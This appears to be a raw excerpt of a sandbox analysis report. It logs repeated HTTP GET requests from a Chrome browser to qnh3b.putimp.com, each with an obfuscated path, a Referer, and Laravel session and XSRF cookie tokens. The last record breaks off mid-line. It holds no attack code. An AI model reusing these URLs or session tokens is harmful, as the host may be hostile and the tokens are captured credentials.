Source: global traffic	HTTP traffic detected: GET /ijbIVlkpv2ZZTygLSxZT6ZwNiSvLwJN9cjzfwH2xIb9389Eki8BUsphIffC6v2wjCab230 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvDtFZCv0wFVvViM8VMRNhGDQANzFbqopDBnMwonX9jq8Iz80g3o34130 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrqUFMIq9b9JbPpLrgAmn4ulS1Tb9UGwjH3M445136 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnj6kP2yDeYnWBE3NGPYpBcQFdKiUAklGRqHuLoIStoIobLMYncM05W90142 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ujHRglEIvSgsknQvpq6iCEG0CKt3VNPydRh7sZbzs6NVsOd6905 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijbIVlkpv2ZZTygLSxZT6ZwNiSvLwJN9cjzfwH2xIb9389Eki8BUsphIffC6v2wjCab230 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij3i4kM8BpGcgwtnXl6yRLyzLL7MDsVlBROxxy3o56170 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvDtFZCv0wFVvViM8VMRNhGDQANzFbqopDBnMwonX9jq8Iz80g3o34130 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxE3kHI4ecDaCT9gFpugKXrs1qfSqI4b5zaAgB2RKb0F8Y0eR90180 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opqRXS70VBE6D4xIXErMP9YghJL6HBfcH0bVXg3GFVCef200 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnxoZafsKDuxUqjsrPcbj6GUIUShAhijNmBHuhIpjAkspqBG3juv220 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijAHK25XxOXMFvIOtUy4tinE6RrAmRLZiVjc39gWxyjeDJrHll6oDyjjUUYj5jKyD12207 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij3i4kM8BpGcgwtnXl6yRLyzLL7MDsVlBROxxy3o56170 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qr61WfUGozdhThoMoyqT1oYX9BHQtkPGpGSwNBuvbfSZXhgYA5e6kaovOS5pXUef240 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 